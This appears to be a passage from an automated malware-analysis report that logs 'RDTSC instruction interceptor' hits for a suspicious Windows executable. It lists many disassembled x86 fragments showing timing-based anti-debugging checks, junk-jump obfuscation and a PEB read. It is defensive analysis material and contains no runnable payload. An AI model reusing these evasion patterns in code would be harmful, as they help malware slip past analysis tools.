Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: FA58C6 second address: FA591C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF114F02980h 0x00000007 jp 00007FF114F0299Ah 0x0000000d jmp 00007FF114F02988h 0x00000012 jmp 00007FF114F0297Ch 0x00000017 pop edx 0x00000018 pop eax 0x00000019 push eax 0x0000001a jmp 00007FF114F02984h 0x0000001f push esi 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: FA5E76 second address: FA5E7C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: FA5E7C second address: FA5E80 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: FA5E80 second address: FA5E89 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: FA7742 second address: FA7746 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: FA7746 second address: FA7754 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push esi 0x00000008 pop esi 0x00000009 pushad 0x0000000a popad 0x0000000b pushad 0x0000000c popad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: FA7754 second address: FA7770 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 js 00007FF114F02976h 0x00000009 jmp 00007FF114F02981h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: FA7770 second address: FA778B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF1148823D1h 0x00000009 popad 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: FA778B second address: FA77A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007FF114F02980h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: FA77A9 second address: FA77B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007FF1148823C6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: FA77B3 second address: FA77D3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF114F02987h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: FA77D3 second address: FA77E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FF1148823CAh 0x0000000c rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: FA77E4 second address: FA77E8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: FAA5D8 second address: FAA5DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: FAA5DE second address: FAA63D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ebx 0x00000006 mov dword ptr [esp], eax 0x00000009 mov edx, dword ptr [ebp+122D1851h] 0x0000000f push dword ptr [ebp+122D2341h] 0x00000015 mov edx, ebx 0x00000017 mov dx, 4E33h 0x0000001b call 00007FF114F02979h 0x00000020 push ebx 0x00000021 jmp 00007FF114F02987h 0x00000026 pop ebx 0x00000027 push eax 0x00000028 push eax 0x00000029 pushad 0x0000002a jng 00007FF114F02976h 0x00000030 pushad 0x00000031 popad 0x00000032 popad 0x00000033 pop eax 0x00000034 mov eax, dword ptr [esp+04h] 0x00000038 push eax 0x00000039 push edx 0x0000003a jmp 00007FF114F0297Fh 0x0000003f rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: FAA63D second address: FAA642 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: FAA642 second address: FAA648 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: FAA648 second address: FAA686 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov eax, dword ptr [eax] 0x00000009 jns 00007FF1148823DBh 0x0000000f mov dword ptr [esp+04h], eax 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007FF1148823D4h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: FAA686 second address: FAA68C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: FAA68C second address: FAA690 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: FABF90 second address: FABFA4 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FF114F0297Eh 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: FABFA4 second address: FABFA8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: FABFA8 second address: FABFAC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: FABAFA second address: FABB12 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FF1148823CCh 0x00000008 push eax 0x00000009 push edx 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c jne 00007FF1148823C6h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: 72C0019 second address: 72C004F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF114F02981h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007FF114F0297Eh 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007FF114F0297Dh 0x00000019 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: 72C004F second address: 72C0064 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF1148823D1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: 72C0064 second address: 72C0077 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ecx, ebx 0x00000005 mov bx, 0B1Eh 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c xchg eax, ebp 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: 72C0077 second address: 72C007D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: 72C007D second address: 72C0083 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: 72C0083 second address: 72C0087 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: 72C0087 second address: 72C008B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: 72C008B second address: 72C00BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a pushad 0x0000000b mov si, bx 0x0000000e jmp 00007FF1148823D9h 0x00000013 popad 0x00000014 mov eax, dword ptr fs:[00000030h] 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: 72C00BF second address: 72C00C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: 72C00C3 second address: 72C00C9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: 72C00C9 second address: 72C00E0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ch, FBh 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a sub esp, 18h 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 mov bx, cx 0x00000013 mov bx, ax 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: 72C00E0 second address: 72C0155 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dh, BEh 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a xchg eax, ebx 0x0000000b jmp 00007FF1148823CEh 0x00000010 push eax 0x00000011 pushad 0x00000012 pushfd 0x00000013 jmp 00007FF1148823D1h 0x00000018 or eax, 67804576h 0x0000001e jmp 00007FF1148823D1h 0x00000023 popfd 0x00000024 mov ebx, esi 0x00000026 popad 0x00000027 xchg eax, ebx 0x00000028 jmp 00007FF1148823CAh 0x0000002d mov ebx, dword ptr [eax+10h] 0x00000030 push eax 0x00000031 push edx 0x00000032 pushad 0x00000033 pushfd 0x00000034 jmp 00007FF1148823CDh 0x00000039 jmp 00007FF1148823CBh 0x0000003e popfd 0x0000003f push eax 0x00000040 push edx 0x00000041 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: 72C0155 second address: 72C015A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: 72C015A second address: 72C01AD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FF1148823D5h 0x00000009 sbb ax, 3AE6h 0x0000000e jmp 00007FF1148823D1h 0x00000013 popfd 0x00000014 mov ax, 9917h 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b xchg eax, esi 0x0000001c jmp 00007FF1148823CAh 0x00000021 push eax 0x00000022 push eax 0x00000023 push edx 0x00000024 jmp 00007FF1148823CEh 0x00000029 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: 72C01AD second address: 72C01BF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF114F0297Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: 72C01BF second address: 72C01EB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, esi 0x00000009 jmp 00007FF1148823D7h 0x0000000e mov esi, dword ptr [759B06ECh] 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: 72C01EB second address: 72C01EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: 72C01EF second address: 72C01F3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: 72C01F3 second address: 72C01F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: 72C01F9 second address: 72C0266 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop eax 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 test esi, esi 0x0000000a jmp 00007FF1148823D1h 0x0000000f jne 00007FF114883223h 0x00000015 pushad 0x00000016 call 00007FF1148823CCh 0x0000001b call 00007FF1148823D2h 0x00000020 pop esi 0x00000021 pop edx 0x00000022 mov edi, esi 0x00000024 popad 0x00000025 xchg eax, edi 0x00000026 pushad 0x00000027 push ecx 0x00000028 mov ecx, edx 0x0000002a pop edi 0x0000002b mov di, si 0x0000002e popad 0x0000002f push eax 0x00000030 jmp 00007FF1148823CDh 0x00000035 xchg eax, edi 0x00000036 push eax 0x00000037 push edx 0x00000038 jmp 00007FF1148823CDh 0x0000003d rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: 72C0266 second address: 72C030D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 movsx edx, ax 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b call dword ptr [75980B60h] 0x00000011 mov eax, 75F3E5E0h 0x00000016 ret 0x00000017 pushad 0x00000018 pushfd 0x00000019 jmp 00007FF114F02982h 0x0000001e and esi, 53E4DFF8h 0x00000024 jmp 00007FF114F0297Bh 0x00000029 popfd 0x0000002a mov eax, 6A63A12Fh 0x0000002f popad 0x00000030 push 00000044h 0x00000032 jmp 00007FF114F02982h 0x00000037 pop edi 0x00000038 pushad 0x00000039 mov di, cx 0x0000003c pushfd 0x0000003d jmp 00007FF114F0297Ah 0x00000042 jmp 00007FF114F02985h 0x00000047 popfd 0x00000048 popad 0x00000049 xchg eax, edi 0x0000004a jmp 00007FF114F0297Eh 0x0000004f push eax 0x00000050 pushad 0x00000051 mov si, di 0x00000054 mov ecx, ebx 0x00000056 popad 0x00000057 xchg eax, edi 0x00000058 jmp 00007FF114F0297Fh 0x0000005d push dword ptr [eax] 0x0000005f push eax 0x00000060 push edx 0x00000061 push eax 0x00000062 push edx 0x00000063 pushad 0x00000064 popad 0x00000065 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: 72C030D second address: 72C0328 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF1148823D7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: 72C0362 second address: 72C03A0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF114F0297Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov esi, eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e pushfd 0x0000000f jmp 00007FF114F0297Dh 0x00000014 and ecx, 2BE04CD6h 0x0000001a jmp 00007FF114F02981h 0x0000001f popfd 0x00000020 mov ebx, esi 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: 72C03A0 second address: 72C03F6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushfd 0x00000006 jmp 00007FF1148823D9h 0x0000000b and al, FFFFFFE6h 0x0000000e jmp 00007FF1148823D1h 0x00000013 popfd 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 test esi, esi 0x00000019 pushad 0x0000001a push eax 0x0000001b push edx 0x0000001c pushfd 0x0000001d jmp 00007FF1148823CAh 0x00000022 adc ch, FFFFFF88h 0x00000025 jmp 00007FF1148823CBh 0x0000002a popfd 0x0000002b rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: 72C03F6 second address: 72C0441 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007FF114F02988h 0x00000008 sub ch, FFFFFFE8h 0x0000000b jmp 00007FF114F0297Bh 0x00000010 popfd 0x00000011 pop edx 0x00000012 pop eax 0x00000013 mov eax, 6916A6DFh 0x00000018 popad 0x00000019 je 00007FF183571BF6h 0x0000001f push eax 0x00000020 push edx 0x00000021 jmp 00007FF114F02981h 0x00000026 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: 72C0441 second address: 72C0451 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF1148823CCh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: 72C0451 second address: 72C04C9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, 00000000h 0x0000000d pushad 0x0000000e mov ebx, eax 0x00000010 movzx ecx, dx 0x00000013 popad 0x00000014 mov dword ptr [esi], edi 0x00000016 jmp 00007FF114F02981h 0x0000001b mov dword ptr [esi+04h], eax 0x0000001e jmp 00007FF114F0297Eh 0x00000023 mov dword ptr [esi+08h], eax 0x00000026 jmp 00007FF114F02980h 0x0000002b mov dword ptr [esi+0Ch], eax 0x0000002e push eax 0x0000002f push edx 0x00000030 pushad 0x00000031 pushfd 0x00000032 jmp 00007FF114F0297Dh 0x00000037 xor al, 00000026h 0x0000003a jmp 00007FF114F02981h 0x0000003f popfd 0x00000040 movzx eax, bx 0x00000043 popad 0x00000044 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: 72C04C9 second address: 72C04F3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF1148823CAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [ebx+4Ch] 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FF1148823D7h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: 72C04F3 second address: 72C0541 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF114F02989h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esi+10h], eax 0x0000000c pushad 0x0000000d jmp 00007FF114F0297Ch 0x00000012 movzx ecx, dx 0x00000015 popad 0x00000016 mov eax, dword ptr [ebx+50h] 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007FF114F02988h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: 72C0541 second address: 72C0568 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF1148823CBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esi+14h], eax 0x0000000c pushad 0x0000000d mov bh, ah 0x0000000f mov cx, dx 0x00000012 popad 0x00000013 mov eax, dword ptr [ebx+54h] 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 pushad 0x0000001a popad 0x0000001b mov ecx, 571172E1h 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: 72C0568 second address: 72C056E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: 72C056E second address: 72C0572 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: 72C0572 second address: 72C0576 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: 72C0576 second address: 72C060B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esi+18h], eax 0x0000000b pushad 0x0000000c push edx 0x0000000d mov cx, 868Dh 0x00000011 pop ecx 0x00000012 push edi 0x00000013 pushfd 0x00000014 jmp 00007FF1148823D6h 0x00000019 sbb cl, FFFFFFD8h 0x0000001c jmp 00007FF1148823CBh 0x00000021 popfd 0x00000022 pop ecx 0x00000023 popad 0x00000024 mov eax, dword ptr [ebx+58h] 0x00000027 jmp 00007FF1148823CFh 0x0000002c mov dword ptr [esi+1Ch], eax 0x0000002f jmp 00007FF1148823D6h 0x00000034 mov eax, dword ptr [ebx+5Ch] 0x00000037 pushad 0x00000038 movzx eax, di 0x0000003b mov cx, dx 0x0000003e popad 0x0000003f mov dword ptr [esi+20h], eax 0x00000042 jmp 00007FF1148823D5h 0x00000047 mov eax, dword ptr [ebx+60h] 0x0000004a push eax 0x0000004b push edx 0x0000004c pushad 0x0000004d movsx ebx, si 0x00000050 mov ebx, esi 0x00000052 popad 0x00000053 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: 72C060B second address: 72C0651 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bx, ADC2h 0x00000007 pushfd 0x00000008 jmp 00007FF114F02983h 0x0000000d sub si, 6CBEh 0x00000012 jmp 00007FF114F02989h 0x00000017 popfd 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b mov dword ptr [esi+24h], eax 0x0000001e push eax 0x0000001f push edx 0x00000020 push eax 0x00000021 push edx 0x00000022 pushad 0x00000023 popad 0x00000024 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: 72C0651 second address: 72C0655 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: 72C0655 second address: 72C065B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: 72C065B second address: 72C0732 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov di, cx 0x00000006 call 00007FF1148823CCh 0x0000000b pop ecx 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f mov eax, dword ptr [ebx+64h] 0x00000012 pushad 0x00000013 call 00007FF1148823D7h 0x00000018 mov bx, si 0x0000001b pop eax 0x0000001c mov eax, edx 0x0000001e popad 0x0000001f mov dword ptr [esi+28h], eax 0x00000022 pushad 0x00000023 mov al, bh 0x00000025 pushfd 0x00000026 jmp 00007FF1148823D6h 0x0000002b and cx, 99A8h 0x00000030 jmp 00007FF1148823CBh 0x00000035 popfd 0x00000036 popad 0x00000037 mov eax, dword ptr [ebx+68h] 0x0000003a pushad 0x0000003b pushfd 0x0000003c jmp 00007FF1148823D4h 0x00000041 add ah, 00000008h 0x00000044 jmp 00007FF1148823CBh 0x00000049 popfd 0x0000004a jmp 00007FF1148823D8h 0x0000004f popad 0x00000050 mov dword ptr [esi+2Ch], eax 0x00000053 pushad 0x00000054 mov si, E5BDh 0x00000058 movzx ecx, di 0x0000005b popad 0x0000005c mov ax, word ptr [ebx+6Ch] 0x00000060 jmp 00007FF1148823D5h 0x00000065 mov word ptr [esi+30h], ax 0x00000069 push eax 0x0000006a push edx 0x0000006b push eax 0x0000006c push edx 0x0000006d pushad 0x0000006e popad 0x0000006f rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: 72C0732 second address: 72C0738 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: 72C0738 second address: 72C0792 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FF1148823D0h 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov ax, word ptr [ebx+00000088h] 0x00000014 jmp 00007FF1148823CEh 0x00000019 mov word ptr [esi+32h], ax 0x0000001d pushad 0x0000001e pushfd 0x0000001f jmp 00007FF1148823CEh 0x00000024 and ecx, 1E43B588h 0x0000002a jmp 00007FF1148823CBh 0x0000002f popfd 0x00000030 push eax 0x00000031 push edx 0x00000032 mov eax, 5865F615h 0x00000037 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: 72C0792 second address: 72C0803 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007FF114F02982h 0x00000008 jmp 00007FF114F02985h 0x0000000d popfd 0x0000000e pop edx 0x0000000f pop eax 0x00000010 popad 0x00000011 mov eax, dword ptr [ebx+0000008Ch] 0x00000017 pushad 0x00000018 push esi 0x00000019 mov bx, F72Eh 0x0000001d pop ebx 0x0000001e call 00007FF114F02984h 0x00000023 mov bx, si 0x00000026 pop esi 0x00000027 popad 0x00000028 mov dword ptr [esi+34h], eax 0x0000002b push eax 0x0000002c push edx 0x0000002d jmp 00007FF114F02988h 0x00000032 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: 72C0803 second address: 72C08DD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bh, 91h 0x00000005 call 00007FF1148823CAh 0x0000000a pop esi 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov eax, dword ptr [ebx+18h] 0x00000011 jmp 00007FF1148823D1h 0x00000016 mov dword ptr [esi+38h], eax 0x00000019 jmp 00007FF1148823CEh 0x0000001e mov eax, dword ptr [ebx+1Ch] 0x00000021 jmp 00007FF1148823D0h 0x00000026 mov dword ptr [esi+3Ch], eax 0x00000029 pushad 0x0000002a mov cx, BF2Dh 0x0000002e popad 0x0000002f mov eax, dword ptr [ebx+20h] 0x00000032 pushad 0x00000033 pushfd 0x00000034 jmp 00007FF1148823D5h 0x00000039 and cl, 00000036h 0x0000003c jmp 00007FF1148823D1h 0x00000041 popfd 0x00000042 pushfd 0x00000043 jmp 00007FF1148823D0h 0x00000048 add eax, 75059958h 0x0000004e jmp 00007FF1148823CBh 0x00000053 popfd 0x00000054 popad 0x00000055 mov dword ptr [esi+40h], eax 0x00000058 pushad 0x00000059 mov ebx, esi 0x0000005b mov si, 1007h 0x0000005f popad 0x00000060 lea eax, dword ptr [ebx+00000080h] 0x00000066 jmp 00007FF1148823CAh 0x0000006b push 00000001h 0x0000006d push eax 0x0000006e push edx 